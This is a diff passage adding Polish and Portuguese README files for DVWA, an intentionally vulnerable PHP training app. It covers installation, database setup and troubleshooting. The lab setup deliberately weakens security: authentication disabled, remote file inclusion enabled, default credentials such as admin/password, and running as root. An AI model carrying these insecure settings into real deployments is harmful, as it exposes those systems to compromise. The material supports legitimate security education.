(0.01 sec) + +MariaDB [(none)]> grant all on dvwa.* to dvwa@localhost; +Query OK, 0 rows affected (0.01 sec) + +MariaDB [(none)]> flush privileges; +Query OK, 0 rows affected (0.00 sec) +``` + +### Wyłączenie Autoryzacji + +Niektóre narzędzia nie współgrają z autoryzacją, dlatego nie mogą być używane z DVWA. Aby to obejść, istnieje opcja w konfiguracji do wyłączenia sprawdzania autoryzacji. W tym celu ustaw następującą wartość w pliku konfiguracyjnym: + +```php +$_DVWA[ 'disable_authentication' ] = true; +``` + +Będziesz także musiał ustawić poziom bezpieczeństwa na odpowiedni do testów, które chcesz przeprowadzić: + +```php +$_DVWA[ 'default_security_level' ] = 'low'; +``` + +W tym stanie masz dostęp do wszystkich funkcji bez konieczności logowania się i ustawiania jakichkolwiek plików cookie. + +### Uprawnienia do Folderów + +* `./hackable/uploads/` - Folder ten musi mieć uprawnienia do zapisu dla usługi sieciowej (do przesyłania plików). + +### Konfiguracja PHP + +W systemach Linux lokalizacja to prawdopodobnie `/etc/php/x.x/fpm/php.ini` lub `/etc/php/x.x/apache2/php.ini`. + +* Aby umożliwić zdalne dołączanie plików (Remote File Inclusions, RFI): + * `allow_url_include = on` [[allow_url_include](https://secure.php.net/manual/en/filesystem.configuration.php#ini.allow-url-include)] + * `allow_url_fopen = on` [[allow_url_fopen](https://secure.php.net/manual/en/filesystem.configuration.php#ini.allow-url-fopen)] + +* Aby upewnić się, że PHP wyświetla wszystkie komunikaty o błędach: + * `display_errors = on` [[display_errors](https://secure.php.net/manual/en/errorfunc.configuration.php#ini.display-errors)] + * `display_startup_errors = on` [[display_startup_errors](https://secure.php.net/manual/en/errorfunc.configuration.php#ini.display-startup-errors)] + +Upewnij się, że po dokonaniu zmian zrestartujesz usługę PHP lub Apache. + +### reCAPTCHA + +Jest to wymagane tylko do laboratorium "Insecure CAPTCHA"; jeśli nie używasz tego laboratorium, możesz pominąć ten krok. + +Wygeneruj parę kluczy API z . + +Następnie umieść je w poniższych sekcjach pliku `./config/config.inc.php`: + +* `$_DVWA[ 'recaptcha_public_key' ]` +* `$_DVWA[ 'recaptcha_private_key' ]` + +### Domyślne Dane Logowania + +**Domyślna nazwa użytkownika = `admin`** + +**Domyślne hasło = `password`** + +_...łatwe do złamania metodą brute-force ;)_ + +URL logowania: http://127.0.0.1/login.php + +_Uwaga: Ten adres będzie inny, jeśli zainstalowałeś DVWA w innym katalogu._ +- - - + +## Rozwiązywanie problemów + +Zakładamy, że używasz dystrybucji opartej na Debianie, takiej jak Debian, Ubuntu lub Kali. W przypadku innych dystrybucji postępuj zgodnie z instrukcjami, dostosowując polecenia, gdzie to konieczne. + +### Kontenery + +#### Chcę uzyskać dostęp do logów + +Jeśli używasz Docker Desktop, logi są dostępne w interfejsie graficznym. +Niektóre drobne szczegóły mogą się zmieniać w nowszych wersjach, ale sposób dostępu powinien pozostać taki sam. + +![Podgląd DVWA compose](./docs/graphics/docker/overview.png) +![Podgląd logów DVWA](docs/graphics/docker/detail.png) + +Logi można także uzyskać z terminala. + +1. Otwórz terminal i przejdź do katalogu DVWA +2. Wyświetl scalone logi + + ```shell + docker compose logs + ``` + + Jeśli chcesz wyeksportować logi do pliku, np. `dvwa.log` + + ```shell + docker compose logs >dvwa.log + ``` + +#### Chcę uruchomić DVWA na innym porcie + +Nie używamy domyślnie portu 80 z kilku powodów: + +- Niektórzy użytkownicy mogą już korzystać z portu 80. +- Niektórzy mogą używać silnika kontenerów bez uprawnień root (jak Podman), a port 80 jest portem uprzywilejowanym (< 1024). Konieczna jest dodatkowa konfiguracja (np. ustawienie `net.ipv4.ip_unprivileged_port_start`), ale musisz zbadać to we własnym zakresie. + +Możesz udostępnić DVWA na innym porcie, zmieniając wiązanie portu w pliku `compose.yml`. +Na przykład, możesz zmienić + +```yml +ports: + - 127.0.0.1:4280:80 +``` + +na + +```yml +ports: + - 127.0.0.1:8806:80 +``` + +DVWA będzie teraz dostępne pod adresem `http://localhost:8806`. + +Jeśli chcesz, aby DVWA było dostępne nie tylko z Twojego urządzenia, ale także w Twojej sieci lokalnej (np. w przypadku konfiguracji maszyny testowej na warsztaty), możesz usunąć `127.0.0.1:` z mapowania portu (lub zastąpić go swoim adresem IP LAN). Dzięki temu będzie nasłuchiwać na wszystkich dostępnych urządzeniach. Bezpiecznym domyślnym ustawieniem jest nasłuchiwanie wyłącznie na lokalnym urządzeniu loopback, ponieważ jest to bardzo podatna na ataki aplikacja działająca na Twojej maszynie. + +#### DVWA uruchamia się automatycznie po włączeniu Dockera + +Dołączony plik [`compose.yml`](./compose.yml) automatycznie uruchamia DVWA i jego bazę danych po uruchomieniu Dockera. + +Aby wyłączyć tę opcję, możesz usunąć lub zakomentować linie `restart: unless-stopped` w pliku [`compose.yml`](./compose.yml). + +Jeśli chcesz tymczasowo wyłączyć tę funkcję, możesz uruchomić `docker compose stop` lub użyć Docker Desktop, znaleźć `dvwa` i kliknąć Stop. Dodatkowo możesz usunąć kontenery lub uruchomić `docker compose down`. + +### Pliki logów + +W systemach Linux Apache generowane są dwa domyślne pliki logów: `access.log` i `error.log`, a w systemach opartych na Debianie są one zwykle dostępne w `/var/log/apache2/`. + +Podczas zgłaszania błędów, problemów itp., prosimy o dołączenie przynajmniej ostatnich pięciu linii z każdego z tych plików. W systemach opartych na Debianie możesz to zrobić w następujący sposób: + +``` +tail -n 5 /var/log/apache2/access.log /var/log/apache2/error.log +``` +### Przejrzałem stronę i otrzymałem błąd 404 + +Jeśli napotykasz ten problem, musisz zrozumieć lokalizację plików. Domyślnie katalog główny dokumentów Apache (miejsce, gdzie szuka zawartości internetowej) to `/var/www/html`. Jeśli umieścisz plik `hello.txt` w tym katalogu, aby uzyskać do niego dostęp, przejdź do `http://localhost/hello.txt`. + +Jeśli utworzysz katalog i umieścisz tam plik - `/var/www/html/mydir/hello.txt` - będziesz musiał przejść do `http://localhost/mydir/hello.txt`. + +Linux domyślnie rozróżnia wielkość liter, więc w powyższym przykładzie, jeśli spróbujesz przejść pod którykolwiek z poniższych adresów, otrzymasz błąd `404 Not Found`: + +- `http://localhost/MyDir/hello.txt` +- `http://localhost/mydir/Hello.txt` +- `http://localhost/MYDIR/hello.txt` + +Jak to wpływa na DVWA? Większość osób korzysta z Gita, aby sklonować DVWA do katalogu `/var/www/html`, co daje im katalog `/var/www/html/DVWA/` ze wszystkimi plikami DVWA wewnątrz. Następnie przechodzą do `http://localhost/`, co skutkuje wyświetleniem błędu `404` lub domyślnej strony powitalnej Apache. Ponieważ pliki są w katalogu DVWA, musisz przejść do `http://localhost/DVWA`. + +Innym częstym błędem jest przejście pod `http://localhost/dvwa`, co spowoduje wyświetlenie błędu `404`, ponieważ `dvwa` nie jest tym samym, co `DVWA` według zasad porównywania katalogów w systemie Linux. + +Po konfiguracji, jeśli próbujesz odwiedzić stronę i otrzymujesz błąd `404`, zastanów się, gdzie zainstalowałeś pliki, gdzie znajdują się one względem katalogu głównego dokumentów i jaka wielkość liter została użyta w nazwach katalogów. + +### "Odmowa dostępu" podczas uruchamiania konfiguracji + +Jeśli podczas uruchamiania skryptu konfiguracji pojawi się poniższy komunikat, oznacza to, że nazwa użytkownika lub hasło w pliku konfiguracyjnym nie pasują do tych skonfigurowanych w bazie danych: + +``` +Database Error #1045: Access denied for user 'notdvwa'@'localhost' (using password: YES). +``` + +Błąd ten informuje, że używasz nazwy użytkownika `notdvwa`. + +Poniższy błąd oznacza, że wskazałeś plik konfiguracyjny na niewłaściwą bazę danych. + +``` +SQL: Access denied for user 'dvwa'@'localhost' to database 'notdvwa' +``` + +To oznacza, że używasz użytkownika `dvwa` i próbujesz połączyć się z bazą danych `notdvwa`. + +Pierwszym krokiem jest dokładne sprawdzenie, czy to, co myślisz, że wpisałeś w pliku konfiguracyjnym, rzeczywiście tam jest. + +Jeśli zgadza się z oczekiwaniami, następnym krokiem jest sprawdzenie, czy możesz zalogować się jako ten użytkownik z linii poleceń. Zakładając, że masz użytkownika bazy danych `dvwa` i hasło `p@ssw0rd`, wykonaj następujące polecenie: + +``` +mysql -u dvwa -pp@ssw0rd -D dvwa +``` + +*Uwaga: Po `-p` nie ma spacji.* + +Jeśli zobaczysz poniższy komunikat, hasło jest poprawne: + +``` +Welcome to the MariaDB monitor. Commands end with ; or \g. +Your MariaDB connection id is 14 +Server version: 10.3.22-MariaDB-0ubuntu0.19.10.1 Ubuntu 19.10 + +Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others. + +Type 'help;' or '\h' for help. Type '\c' to clear the current input statement. + +MariaDB [dvwa]> +``` + +Skoro możesz połączyć się z linii poleceń, prawdopodobnie coś jest nie tak w pliku konfiguracyjnym, sprawdź go ponownie, a jeśli nadal nie działa, zgłoś problem. + +Jeśli zobaczysz poniższy komunikat, nazwa użytkownika lub hasło, których używasz, są nieprawidłowe. Powtórz kroki z [Konfiguracji bazy danych](#database-setup) i upewnij się, że używasz tej samej nazwy użytkownika i hasła przez cały proces. + +``` +ERROR 1045 (28000): Access denied for user 'dvwa'@'localhost' (using password: YES) +``` + +Jeśli otrzymasz poniższy komunikat, poświadczenia użytkownika są poprawne, ale użytkownik nie ma dostępu do bazy danych. Ponownie powtórz kroki konfiguracji i sprawdź nazwę bazy danych, której używasz. + +``` +ERROR 1044 (42000): Access denied for user 'dvwa'@'localhost' to database 'dvwa' +``` + +Ostatnim błędem, jaki możesz otrzymać, jest: + +``` +ERROR 2002 (HY000): Can't connect to local MySQL server through socket '/var/run/mysqld/mysqld.sock' (2) +``` + +Nie jest to problem z autoryzacją, ale informacja, że serwer bazy danych nie działa. Uruchom go następującym poleceniem: + +```sh +sudo service mysql start +``` +### Odmowa połączenia + +Błąd podobny do poniższego: + +``` +Fatal error: Uncaught mysqli_sql_exception: Connection refused in /var/sites/dvwa/non-secure/htdocs/dvwa/includes/dvwaPage.inc.php:535 +``` + +oznacza, że serwer bazy danych nie działa lub masz nieprawidłowy adres IP w pliku konfiguracyjnym. + +Sprawdź tę linię w pliku konfiguracyjnym, aby zobaczyć, gdzie oczekiwany jest serwer bazy danych: + +``` +$_DVWA[ 'db_server' ] = '127.0.0.1'; +``` + +Następnie przejdź do tego serwera i sprawdź, czy działa. W systemie Linux można to sprawdzić za pomocą: + +``` +systemctl status mariadb.service +``` + +Powinieneś zobaczyć coś podobnego, najważniejsza część to `active (running)`. + +``` +● mariadb.service - MariaDB 10.5.19 database server + Loaded: loaded (/lib/systemd/system/mariadb.service; enabled; preset: enabled) + Active: active (running) since Thu 2024-03-14 16:04:25 GMT; 1 week 5 days ago +``` + +Jeśli serwer nie działa, możesz go uruchomić poleceniem: + +``` +sudo systemctl start mariadb.service +``` + +Pamiętaj o `sudo` i wpisaniu hasła użytkownika Linuxa, jeśli zostaniesz o to poproszony. + +W systemie Windows sprawdź status w konsoli XAMPP. + +### Nieznana metoda uwierzytelniania + +W najnowszych wersjach MySQL domyślna konfiguracja uniemożliwia PHP komunikację z bazą danych. Jeśli podczas uruchamiania skryptu konfiguracji pojawi się następujący komunikat, oznacza to problem z konfiguracją: + +``` +Database Error #2054: The server requested authentication method unknown to the client. +``` + +Masz dwie opcje, najprostszą jest odinstalowanie MySQL i zainstalowanie MariaDB. Oficjalny przewodnik projektu MariaDB można znaleźć tutaj: + + + +Alternatywnie, postępuj zgodnie z poniższymi krokami: + +1. Jako root edytuj plik: `/etc/mysql/mysql.conf.d/mysqld.cnf` +2. Pod linią `[mysqld]` dodaj następujące: + `default-authentication-plugin=mysql_native_password` +3. Zrestartuj bazę danych: `sudo service mysql restart` +4. Sprawdź metodę uwierzytelniania dla użytkownika bazy danych: + + ```sql + mysql> select Host,User, plugin from mysql.user where mysql.user.User = 'dvwa'; + +-----------+------------------+-----------------------+ + | Host | User | plugin | + +-----------+------------------+-----------------------+ + | localhost | dvwa | caching_sha2_password | + +-----------+------------------+-----------------------+ + 1 rows in set (0.00 sec) + ``` + +5. Prawdopodobnie zobaczysz `caching_sha2_password`. Jeśli tak, wykonaj następujące polecenie: + + ```sql + mysql> ALTER USER dvwa@localhost IDENTIFIED WITH mysql_native_password BY 'p@ssw0rd'; + ``` + +6. Po ponownym sprawdzeniu powinieneś zobaczyć `mysql_native_password`. + + ```sql + mysql> select Host,User, plugin from mysql.user where mysql.user.User = 'dvwa'; + +-----------+------+-----------------------+ + | Host | User | plugin | + +-----------+------+-----------------------+ + | localhost | dvwa | mysql_native_password | + +-----------+------+-----------------------+ + 1 row in set (0.00 sec) + ``` + +Po wykonaniu tych kroków proces konfiguracji powinien działać normalnie. + +Więcej informacji można znaleźć na stronie: . + +### Błąd bazy danych #2002: Brak takiego pliku lub katalogu. + +Serwer bazy danych nie działa. W dystrybucji opartej na Debianie możesz go uruchomić za pomocą: + +```sh +sudo service mysql start +``` +### Błędy „MySQL server has gone away” i „Packets out of order” + +Istnieje kilka przyczyn pojawienia się tych błędów, ale najbardziej prawdopodobną jest niekompatybilność wersji serwera bazy danych z wersją PHP. + +Jest to najczęściej spotykane, gdy używasz najnowszej wersji MySQL, ponieważ współpraca między PHP a MySQL nie zawsze przebiega dobrze. Najlepszą radą jest przejście na MariaDB, ponieważ z tego problemu nie możemy zapewnić wsparcia. + +Więcej informacji znajdziesz tutaj: + + + +### Nie działa Command Injection + +Apache może nie mieć wystarczających uprawnień do uruchamiania poleceń na serwerze WWW. Jeśli uruchamiasz DVWA na systemie Linux, upewnij się, że jesteś zalogowany jako root. W systemie Windows zaloguj się jako administrator. + +### Dlaczego baza danych nie może się połączyć na CentOS? + +Możesz napotkać problemy z SELinux. Możesz wyłączyć SELinux lub uruchomić poniższe polecenie, aby umożliwić serwerowi WWW połączenie z bazą danych: + +``` +setsebool -P httpd_can_network_connect_db 1 +``` + +### Cokolwiek Innego + +W celu uzyskania najnowszych informacji o rozwiązywaniu problemów, przeczytaj zarówno otwarte, jak i zamknięte zgłoszenia w repozytorium Gita: + + + +Przed przesłaniem zgłoszenia upewnij się, że używasz najnowszej wersji kodu z repozytorium, a nie najnowszego wydania, tylko kodu z głównej gałęzi. + +Przy zgłaszaniu błędu podaj co najmniej następujące informacje: + +- System operacyjny +- Ostatnie 5 linii z dziennika błędów serwera WWW bezpośrednio po wystąpieniu zgłaszanego błędu +- Jeśli jest to problem z uwierzytelnianiem do bazy danych, przejdź przez powyższe kroki i wykonaj zrzuty ekranu z każdego kroku. Dołącz je razem z fragmentem pliku konfiguracyjnego zawierającym nazwę użytkownika i hasło do bazy danych. +- Pełen opis problemu, oczekiwany rezultat i działania, jakie podjąłeś, aby go rozwiązać. „Login nie działa” nie wystarczy, abyśmy zrozumieli Twój problem i mogli pomóc. + +- - - + +## Wstrzykiwanie SQL w SQLite3 + +_Wsparcie dla tego jest ograniczone; przed zgłaszaniem problemów upewnij się, że jesteś gotowy do pracy nad debugowaniem, nie zgłaszaj po prostu „to nie działa”._ + +Domyślnie SQLi i Blind SQLi są przeprowadzane na serwerze MariaDB/MySQL używanym przez witrynę, ale można przełączyć testowanie SQLi na SQLite3. + +Nie będę omawiać konfiguracji SQLite3 z PHP, ale powinno wystarczyć zainstalowanie pakietu `php-sqlite3` i upewnienie się, że jest włączony. + +Aby dokonać przełączenia, edytuj plik konfiguracyjny i dodaj lub zmodyfikuj te linie: + +``` +$_DVWA["SQLI_DB"] = "sqlite"; +$_DVWA["SQLITE_DB"] = "sqli.db"; +``` + +Domyślnie używany jest plik `database/sqli.db`; jeśli go uszkodzisz, po prostu skopiuj `database/sqli.db.dist` na jego miejsce. + +Wyzwania są dokładnie takie same, jak dla MySQL, tyle że działają na SQLite3. + +- - - + +👨‍💻 Współtwórcy +----- + +Dziękujemy za wszystkie wkłady i aktualizacje projektu. :heart: + +Jeśli masz pomysł, propozycję ulepszenia lub po prostu chcesz współpracować, zapraszamy do udziału w projekcie, śmiało przesyłaj swoje PR. + +

+ + + +

+ +- - - + +## Zgłaszanie błędów + +W skrócie: prosimy, nie zgłaszaj ich! + +Raz na jakiś czas ktoś zgłasza raport dotyczący błędu, który znalazł w aplikacji – niektóre są dobrze napisane, czasem nawet lepiej niż raporty z testów penetracyjnych, które widziałem, a niektóre to po prostu „brakuje nagłówków, zapłaćcie mi”. + +W 2023 roku sytuacja eskalowała, gdy ktoś zgłosił prośbę o nadanie CVE dla jednej z luk, i otrzymał numer [CVE-2023-39848](https://nvd.nist.gov/vuln/detail/CVE-2023-39848). Sytuacja była zabawna i czas został zmarnowany na poprawki. + +Aplikacja zawiera podatności i jest to zamierzone. Większość to dobrze udokumentowane przypadki, które analizujesz jako lekcje, inne to „ukryte” luki, które masz znaleźć samodzielnie. Jeśli naprawdę chcesz pokazać swoje umiejętności w odnajdywaniu dodatkowych błędów, napisz post na blogu lub stwórz film – są osoby, które mogą być zainteresowane nauką, jak je znaleźć. Jeśli prześlesz nam link, możemy nawet uwzględnić go w odniesieniach. + +## Linki + +Strona projektu: + +*Stworzone przez zespół DVWA* diff --git a/DVWA/README.pt.md b/DVWA/README.pt.md new file mode 100644 index 00000000..0259fc47 --- /dev/null +++ b/DVWA/README.pt.md @@ -0,0 +1,436 @@ +# DAMN VULNERABLE WEB APPLICATION + +Damn Vulnerable Web Application (DVWA) é um aplicativo web em PHP/MySQL que é extremamente vulnerável. Seu principal objetivo é auxiliar profissionais de segurança a testar suas habilidades e ferramentas em um ambiente legal, ajudar desenvolvedores web a entender melhor os processos de segurança de aplicações web e auxiliar tanto estudantes quanto professores a aprender sobre segurança de aplicações web em um entorno controlado em sala de aula. + +O objetivo do DVWA é permitir a prática de algumas das vulnerabilidades web mais comuns, com vários níveis de dificuldade, por meio de uma interface simples e direta. +Tenha em mente que existem vulnerabilidades documentadas e não documentadas neste software. Isso é intencional. Encorajamos você a tentar descobrir o maior número possível de problemas. +- - - + +## AVISO! + +DVWA é muito vulnerável! **Não a carregue na pasta pública html do seu provedor de hospedagem ou em qualquer servidor voltado para a Internet**, pois eles serão comprometidos. É recomendável usar uma máquina virtual (como [VirtualBox](https://www.virtualbox.org/) ou [VMware](https://www.vmware.com/)), configurada no modo de rede NAT. Dentro da máquina virtual, você pode baixar e instalar o [XAMPP](https://www.apachefriends.org/) para o servidor web e banco de dados. + +### ISENÇÃO DE RESPONSABILIDADE + +Não nos responsabilizamos pela forma como alguém utiliza esta aplicação (DVWA). Deixamos claro os objetivos da aplicação e não deve ser utilizada maliciosamente. Foram fornecidos avisos e medidas para evitar que os usuários instalem o DVWA em servidores web ativos. Se o seu servidor web for comprometido através da instalação do DVWA, não é de nossa responsabilidade, mas sim da pessoa(s) que o instalou. + +- - - + +## Licença + +Este arquivo faz parte do Damn Vulnerable Web Application (DVWA). + +Damn Vulnerable Web Application (DVWA) é um software livre: você pode redistribuí-lo e/ou modificá-lo sob os termos da Licença Pública Geral GNU, publicada pela Free Software Foundation, na versão 3 da Licença ou +(em sua opção) qualquer versão posterior. + +Damn Vulnerable Web Application (DVWA) é distribuído na esperança de que seja útil, +mas SEM NENHUMA GARANTIA; sem mesmo a garantia implícita de +COMERCIALIZAÇÃO ou ADEQUAÇÃO A UM PROPÓSITO ESPECÍFICO. Consulte a +Licença Pública Geral GNU para obter mais detalhes. + +Você deve ter recebido uma cópia da Licença Pública Geral GNU +junto com o Damn Vulnerable Web Application (DVWA). Se não recebeu, consulte https://www.gnu.org/licenses/. + +- - - + +## Internationalisation + +Este arquivo está disponível em vários idiomas. + +- Árabe: [العربية](README.ar.md) +- Chinês: [简体中文](README.zh.md) +- Espanhol: [Español](README.es.md) +- Francês: [Français](README.fr.md) +- Inglês: [English](README.md) +- Persa: [فارسی](README.fa.md) +- Turco: [Türkçe](README.tr.md) + +Se você deseja contribuir com uma tradução, por favor envie uma solicitação de pull. No entanto, isso não significa apenas executar a tradução pelo Google Translate e enviar, pois essas serão rejeitadas. Envie a versão traduzida adicionando um novo arquivo 'README.xx.md' onde xx é o código de duas letras do idioma desejado (com base no [ISO 639-1](https://en.wikipedia.org/wiki/List_of_ISO_639-1_codes)). + +- - - + +## Descarga + +Enquanto existem várias versões do DVWA disponíveis, a única versão suportada é a última do código-fonte do repositório oficial do GitHub. Você pode cloná-lo do repositório: + +``` +git clone https://github.com/digininja/DVWA.git +``` + +Ou [baixe um ZIP dos arquivos](https://github.com/digininja/DVWA/archive/master.zip). + +- - - + +## Instalação + +### Installation Videos + +- [Installing DVWA on Kali running in VirtualBox](https://www.youtube.com/watch?v=WkyDxNJkgQ4) +- [Installing DVWA on Windows using XAMPP](https://youtu.be/Yzksa_WjnY0) +- [Installing Damn Vulnerable Web Application (DVWA) on Windows 10](https://www.youtube.com/watch?v=cak2lQvBRAo) + +### Windows + XAMPP + +The easiest way to install DVWA is to download and install [XAMPP](https://www.apachefriends.org/) if you do not already have a web server setup. + +XAMPP is a very easy to install Apache Distribution for Linux, Solaris, Windows and Mac OS X. The package includes the Apache web server, MySQL, PHP, Perl, a FTP server and phpMyAdmin. + +This [video](https://youtu.be/Yzksa_WjnY0) walks you through the installation process for Windows but it should be similar for other OSs. + +### Arquivo de configuração + +DVWA vem com uma cópia fictícia do seu arquivo de configuração que você precisa copiar para o local correto e fazer as alterações apropriadas. No Linux, supondo que você esteja no diretório do DVWA, isso pode ser feito da seguinte forma: + +`cp config/config.inc.php.dist config/config.inc.php` + +No Windows, isso pode ser um pouco mais difícil se você estiver ocultando as extensões de arquivo. Se você não tem certeza disso, este post de blog explica mais sobre o assunto: + +[How to Make Windows Show File Extensions](https://www.howtogeek.com/205086/beginner-how-to-make-windows-show-file-extensions/) + +### Linux Packages + +Se você estiver usando uma distribuição Linux baseada em Debian, será necessário instalar os seguintes pacotes (ou seus equivalentes): + +- apache2 +- libapache2-mod-php +- mariadb-server +- mariadb-client +- php php-mysqli +- php-gd + +É recomendado fazer uma atualização antes disso para garantir que você vai obter a versão mais recente de tudo + +``` +apt update +apt install -y apache2 mariadb-server mariadb-client php php-mysqli php-gd libapache2-mod-php +``` + +Embora o site possa funcionar com MySQL, recomendamos fortemente o uso do MariaDB, já que ele é compatível sem necessidade de ajustes adicionaisr. + +### Configuração do Banco de Dados + +Para configurar o banco de dados, basta clicar no botão `Setup DVWA` no menu principal e, em seguida, clicar no botão `Create / Reset Database`. Isso irá criar/reconfigurar o banco de dados para você com alguns dados. + +Se você receber um erro ao tentar criar seu banco de dados, verifique se suas credenciais do banco de dados estão corretas dentro de `./config/config.inc.php`. *Isso difere do config.inc.php.dist, que é um arquivo de exemplo.* + +Por padrão, as variáveis são definidas da seguinte maneira: + +```php +$_DVWA[ 'db_server'] = '127.0.0.1'; +$_DVWA[ 'db_port'] = '3306';$_DVWA[ 'db_user' ] = 'dvwa'; +$_DVWA[ 'db_password' ] = 'p@ssw0rd'; +$_DVWA[ 'db_database' ] = 'dvwa'; +``` + +Observação: se você estiver usando o MariaDB em vez do MySQL (o MariaDB é o padrão no Kali), você não pode usar o usuário root do banco de dados, você deve criar um novo usuário de banco de dados. Para fazer isso, conecte-se ao banco de dados como usuário root e use os seguintes comandos: + +```mysql +mysql> create database dvwa; +Query OK, 1 row affected (0.00 sec) + +mysql> create user dvwa@localhost identified by 'p@ssw0rd'; +Query OK, 0 rows affected (0.01 sec) + +mysql> grant all on dvwa.* to dvwa@localhost; +Query OK, 0 rows affected (0.01 sec) + +mysql> flush privileges; +Query OK, 0 rows affected (0.00 sec) +``` + +### Desabilitar autenticação + +Alguns ferramentas não funcionam bem com autenticação e não podem ser usadas com o DVWA. Para contornar isso, há uma opção de configuração para desativar a verificação de autenticação. Para fazer isso, basta definir o seguinte no arquivo de configuração: + +```php +$_DVWA[ 'disable_authentication' ] = true; +``` + +Você também precisará definir o nível de segurança que seja apropriado para os testes que deseja realizar: + +```php +$_DVWA[ 'default_security_level' ] = 'low'; +``` +Nesse estado, você pode acessar todos os recursos sem precisar fazer login ou definir cookies. + +### Outra configuração + +Dependendo do seu sistema operacional, assim como a versão do PHP, você pode desejar alterar a configuração padrão. A localização dos arquivos será diferente em cada máquina. + +**Permissões de diretório**: + +* `./hackable/uploads/` - Precisa estar com permissão de escrita pelo serviço web (para envio de arquivos). +* `./external/phpids/0.6/lib/IDS/tmp/phpids_log.txt` - Precisa estar gravável pelo serviço web (se você deseja usar o PHPIDS). + +**PHP configuration**: +* Para permitir Inclusões de Arquivos Remotos (RFI): + * `allow_url_include = on` [[allow_url_include](https://secure.php.net/manual/en/filesystem.configuration.php#ini.allow-url-include)] + * `allow_url_fopen = on` [[allow_url_fopen](https://secure.php.net/manual/en/filesystem.configuration.php#ini.allow-url-fopen)] +* Para reduzir opcionalmente a verbosidade ocultando mensagens de aviso do PHP: + * `display_errors = off` [[display_errors](https://secure.php.net/manual/en/errorfunc.configuration.php#ini.display-errors)] + +**Arquivo: `config/config.inc.php`**: + +* `$_DVWA[ 'recaptcha_public_key' ]` & `$_DVWA[ 'recaptcha_private_key' ]` - Esses valores precisam ser gerados em: https://www.google.com/recaptcha/admin/create + +### Credenciais Padrão + +**Default username = `admin`** + +**Default password = `password`** + +_...Podem ser facilmente bruteforceados ;)_ + +Login URL: http://127.0.0.1/login.php + +_Nota: Isso será diferente se você instalou o DVWA em um diretório diferente._ + +- - - + +## Docker Container + +_Esta seção do readme foi adicionada por @thegrims, para suporte com Docker, por favor entre em contato com ele ou @opsxcq que é o mantenedor da imagem e repositório Docker. Qualquer ticket de problema provavelmente será encaminhado para eles e fechado._ + +- [dockerhub site](https://hub.docker.com/r/vulnerables/web-dvwa/) +`docker run --rm -it -p 80:80 vulnerables/web-dvwa` + +Por favor, certifique-se de que está usando aufs devido a problemas anteriores do MySQL. Execute `docker info` para verificar seu driver de armazenamento. Se não for aufs, altere-o como tal. Existem guias para cada sistema operacional sobre como fazer isso, mas são bastante diferentes, então não abordaremos isso aqui. + +- - - + +## Troubleshooting + +Estes pressupõem que você está em uma distribuição baseada em Debian, como Debian, Ubuntu e Kali. Para outras distribuições, siga o tutorial, mas atualize o comando, se necessário. + +### Acessei o site e obtive um erro 404 + +Se você está tendo esse problema, precisa entender as localizações dos arquivos. Por padrão, a raiz do documento Apache (o local onde ele começa a procurar conteúdo da web) é `/var/www/html`. Se você colocar o arquivo `hello.txt` neste diretório, para acessá-lo, você deve navegar para `http://localhost/hello.txt`. + +Se você criou um diretório e colocou o arquivo lá - `/var/www/html/mydir/hello.txt` - você precisará navegar para `http://localhost/mydir/hello.txt`. + +O Linux é sensível a maiúsculas e minúsculas por padrão e, portanto, no exemplo acima, se você tentasse navegar em qualquer um desses endereços, receberia um erro `404 Not Found`: + +- `http://localhost/MyDir/hello.txt` +- `http://localhost/mydir/Hello.txt` +- `http://localhost/MYDIR/hello.txt` + +Como isso afeta o DVWA? A maioria das pessoas usa o Git para baixar o DVWA em `/var/www/html`, o que lhes dá o diretório `/var/www/html/DVWA/` com todos os arquivos do DVWA dentro dele. Então, eles navegam até `http://localhost/` e recebem um `404` ou a página de boas-vindas padrão do Apache. Como os arquivos estão em DVWA, você deve navegar para `http://localhost/DVWA`. + +O outro erro comum é navegar para `http://localhost/dvwa`, o que resultará em um erro `404` porque `dvwa` não é o mesmo que `DVWA` em termos de correspondência de diretório no Linux. + +Portanto, após a instalação, se você tentar visitar o site e receber um erro `404`, pense em onde instalou os arquivos, em relação à raiz do documento, e qual é a caixa (alta ou baixa). + +### "Acess denied" ao executar a configuração + +Se você vir o seguinte ao executar o script de configuração, significa que o nome de usuário ou a senha no arquivo de configuração não correspondem aos configurados no banco de dados: + +``` +Database Error #1045: Access denied for user 'notdvwa'@'localhost' (usando a senha "YES"). +``` + +O erro está dizendo que você está usando o nome de usuário `notdvwa`. + +O seguinte erro indica que você apontou o arquivo de configuração para o banco de dados errado. + +``` +SQL: Access denied for user 'dvwa'@'localhost' to database 'notdvwa' +``` + +Está dizendo que você está usando o usuário `dvwa` e tentando se conectar ao banco de dados `notdvwa`. + +A primeira coisa a fazer é verificar se o que você acha que colocou no arquivo de configuração é realmente o que está lá. + +Se corresponder ao que você espera, a próxima coisa a fazer é verificar se você pode fazer login como usuário no terminal. Supondo que você tenha um usuário de banco de dados chamado dvwa e uma senha de p@ssw0rd, execute o seguinte comando: + +``` +mysql -u dvwa -pp@ssw0rd -D dvwa +``` +Nota: Não há espaço após o -p + +Se você vir o seguinte, a senha está correta: + +``` +Welcome to the MariaDB monitor. Commands end with ; or \g. +Your MariaDB connection id is 14 +Server version: 10.3.22-MariaDB-0ubuntu0.19.10.1 Ubuntu 19.10 + +Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others. + +Type 'help;' or '\h' for help. Type '\c' to clear the current input statement. + +MariaDB [dvwa]> +``` + +Como você conseguiu conectar no terminal, provavelmente algo está errado no arquivo de configuração. Verifique novamente o arquivo e se ainda assim não conseguir resolver, abra um issue. + +Se você receber a seguinte mensagem, significa que o nome de usuário ou a senha que você está usando estão incorretos. Repita as etapas da [Configuração do Banco de Dados](#database-setup) e certifique-se de usar o mesmo nome de usuário e senha em todo o processo. + +``` +ERROR 1045 (28000): Access denied for user 'dvwa'@'localhost' (usando a senha: YES) +``` + +Se você obtiver o seguinte erro, as credenciais do usuário estão corretas, mas o usuário não tem acesso ao banco de dados. Novamente, repita as etapas de configuração e verifique o nome do banco de dados que você está usando. + +``` +ERROR 1044 (42000): Access denied for user 'dvwa'@'localhost' to database 'dvwa' +``` +O erro final que você pode receber é este: + +``` +ERROR 2002 (HY000): Can't connect to local MySQL server through socket '/var/run/mysqld/mysqld.sock' (2) +``` + +Este não é um problema de autenticação, mas indica que o servidor de banco de dados não está em execução. Inicie-o com o seguinte comando: + +```sh +sudo service mysql start +``` + +### Unknown authentication method + +Com as versões mais recentes do MySQL, o PHP não pode mais se comunicar com o banco de dados em sua configuração padrão. Se você tentar executar o script de configuração e receber a seguinte mensagem, 